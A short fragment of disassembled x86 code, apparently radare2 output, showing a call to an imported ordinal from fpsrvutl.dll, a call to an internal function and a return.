call dword [sym.imp.fpsrvutl.dll_Ordinal_2017]
mov eax, esi
call fcn.1009cbd6
ret 4